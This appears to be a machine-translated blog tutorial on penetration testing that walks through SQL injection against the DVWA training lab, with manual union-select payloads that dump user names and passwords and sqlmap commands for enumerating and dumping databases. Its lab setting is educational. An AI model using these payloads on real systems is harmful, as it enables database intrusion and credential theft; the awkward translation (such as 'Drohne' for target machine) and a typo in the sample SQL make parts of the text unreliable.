Technologieaustausch

[Testentwicklung] – Sicherheitspenetrationstests

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Sicherheitsdurchdringung

1.1 Klassifizierung

  • Sicherheit von Webdatenbanken
  • Sicherheit des Webanwendungsservers (Schwachstelle beim Hochladen von Dateien, Schwachstelle bei der Einbindung von Dateien)
  • Web-Client-Sicherheit (XSS-Cross-Site-Angriff)

2. SQL-Injektion

2.1 Einführung in die SQL-Injektion

  • SQL-Injection steht ganz oben auf der Liste der Sicherheitsprobleme
  • Der SQL-Injection-Angriff besteht darin, dass die Eingabeparameter nicht gefiltert und dann zur Analyse direkt in die SQL-Anweisung eingefügt werden.
  • SQL-Injection ist eine Angriffstechnik, die SQL-Code zu Eingabeparametern hinzufügt und ihn zur Analyse und Ausführung an den Server weiterleitet.

2.2 SQL-Injection-Prinzip

  • Der Angreifer übermittelt bösartige Zeichen auf der Seite
  • Der Server filtert die übermittelten Parameter nicht oder die Filterung ist unzureichend.
  • Angreifer verwenden Splicing-SQL-Anweisungen, um vertrauliche Informationen aus der Datenbank abzurufen

2.3 Gefahren der SQL-Injektion

  • Datenbankleck
  • Benutzerdaten wurden illegal gekauft und verkauft
  • Gefährdung der Sicherheit von Webanwendungen

2.4 SQL-Injection-Implementierungsmethode

  • Handbuch
    • Finden: Einspritzpunkt
    • Eingabe: Gemeinsame SQL-Injection-Kombinationssyntax für die Injektion
  • automatisch (Werkzeug)
    • Werkzeug: Nach Einspritzpunkten suchen
    • Eingabe: Probieren Sie automatisch verschiedene Syntaxkombinationen aus

3. Umgebungseinrichtung

3.1 virtuelle VMware-Maschine

3.1.1 Funktion

  • Mit der Software für virtuelle Maschinen können Sie Software verwenden, um mehrere virtuelle Betriebssysteme (Linux, Windows) auf physischen Maschinen zu installieren
  • Zieldrohnen und Penetrants laufen mit VMware-Software
    VMware-Download-Tutorial

3.2 Zieldrohne (Erlernen der Nutzung der Projektumgebung)

Wirkung

3.3 Penetrationsmaschine (Lernen, die SQL-Injection-Umgebung anzugreifen)

Wirkung:

  • Kali enthält Hunderte von Tools, die für verschiedene Informationssicherheitsaufgaben wie Penetrationstests und Sicherheitsforschung verwendet werden können

4. Manuelle Injektion

4.1 Umgebungsvorbereitung

Beschreibung: Üben Sie die manuelle Injektion über die Drohnen-Webanwendung
Schritt:

  • Starten Sie die Zieldrohne OWASP
    Fügen Sie hier eine Bildbeschreibung ein

  • Greifen Sie über einen Browser auf die Drohne zu

  • Besuchen Sie das OWASP-dvwa-Projekt
    Fügen Sie hier eine Bildbeschreibung ein

  • Anmeldung
    Fügen Sie hier eine Bildbeschreibung ein

  • Wählen Sie die SQL-Injection-Anwendung aus
    Fügen Sie hier eine Bildbeschreibung ein

4.2 Finden Sie den Einspritzpunkt

Hinweis: Verwenden Sie hauptsächlich einfache Anführungszeichen und Escape-Zeichen, hauptsächlich einfache Anführungszeichen
Prinzip:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Fügen Sie hier eine Bildbeschreibung ein

Fügen Sie hier eine Bildbeschreibung ein

4.3 Logisches ODER

Fügen Sie hier eine Bildbeschreibung ein

4.4 Erraten Sie die Anzahl der Spalten

  1. durch Gewerkschaft
' union select 1,2 #
  • 1

Fügen Sie hier eine Bildbeschreibung ein
2. Durch logisches ODER

'or 1=1#
  • 1

Fügen Sie hier eine Bildbeschreibung ein

4.5 Datenbanken, Tabellen und Spalten abrufen

Datenbanknamen abrufen

' union select 1,database()#
  • 1

Fügen Sie hier eine Bildbeschreibung ein
Tisch besorgen

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Fügen Sie hier eine Bildbeschreibung ein

Spalte abrufen

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Fügen Sie hier eine Bildbeschreibung ein

4.6 Daten abrufen

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Fügen Sie hier eine Bildbeschreibung ein

4.7 Concat-Funktion

Funktion: Mehrere Zeichenfolgen zu einer Zeichenfolge zusammenfügen
Syntax: concat(str1,str2,…)
Beispiel:

  • Holen Sie sich Benutzer-ID, Benutzer und Passwort aus der Benutzertabelle und zeigen Sie sie in zwei Spalten an
select user_id,concat (user,password) from dvwa,users;
  • 1

Fügen Sie hier eine Bildbeschreibung ein

  • Lösen Sie das Problem, Benutzer und Passwort miteinander zu verbinden
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Fügen Sie hier eine Bildbeschreibung ein

  • Holen Sie sich mehrere Felder
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Fügen Sie hier eine Bildbeschreibung ein

5. Automatische Injektion

5.1 Einführung in die automatische Injektion

Hinweis: Unter „Automatische Injektion“ versteht man die Verwendung von Werkzeugen anstelle manueller Arbeit zum Abschließen von SQL-Injektionsvorgängen.
Werkzeug: sqlmap

5.2 Die Umgebung automatisch injizieren

  • Starten Sie die Drohne
  • Starten Sie die Penetrationsmaschine

5.3 SQLMap

Werkzeug: sqlmap

  • Ein Open-Source-Penetrationstest-Tool
  • Erkennen und nutzen Sie automatisch SQL-Injection-Schwachstellen und übernehmen Sie Datenbankserver
    Bauen:

5.3.1 Grundlegende Verwendung von sqlmap

Parameter

  • -u: Ziel-URL scannen
  • –batch: Eingabeaufforderungsinformationen automatisch verarbeiten
  • –cookie: zusätzliche Cookie-Parameter

Schritt

  • Injektionspunkt scannen
  • Datenbanknamen abrufen
  • Tabellennamen abrufen
  • Feldnamen abrufen
  • Daten abrufen

Da wir uns anmelden müssen, erhalten wir zunächst das Cookie der angemeldeten Seite
Fügen Sie hier eine Bildbeschreibung ein
Beginnen Sie dann mit dem Scannen des Injektionspunkts
Fügen Sie hier eine Bildbeschreibung ein
Erfolgreiche Injektion
Fügen Sie hier eine Bildbeschreibung ein

5.3.2 sqlmap erhält den Bibliotheksnamen

– current-db: Fragen Sie den vom aktuellen Web verwendeten Datenbanknamen ab
-D: Anwenden der angegebenen Datenbank
Fügen Sie hier eine Bildbeschreibung ein
Operationsergebnis:
Fügen Sie hier eine Bildbeschreibung ein

5.3.3 sqlmap ruft Tabelle ab

– current-db: Fragen Sie alle Tabellennamen unter der angegebenen Bibliothek ab (Sie müssen -D verwenden, um zuerst den Bibliotheksnamen anzugeben).
-T: Tabelle angeben
Fügen Sie hier eine Bildbeschreibung ein

Operationsergebnis:
Fügen Sie hier eine Bildbeschreibung ein

5.3.4 sqlmap ruft Spalten ab

– Spalten: Fragen Sie alle Felder unter der angegebenen Tabelle ab (Sie müssen -T verwenden, um zuerst den Tabellennamen anzugeben).
-C: Feldnamen angeben

Fügen Sie hier eine Bildbeschreibung ein
Operationsergebnis:
Fügen Sie hier eine Bildbeschreibung ein

5.3.5 sqlmap ruft Daten ab

–dump: Daten herunterladen

Fügen Sie hier eine Bildbeschreibung ein
Operationsergebnis:
Fügen Sie hier eine Bildbeschreibung ein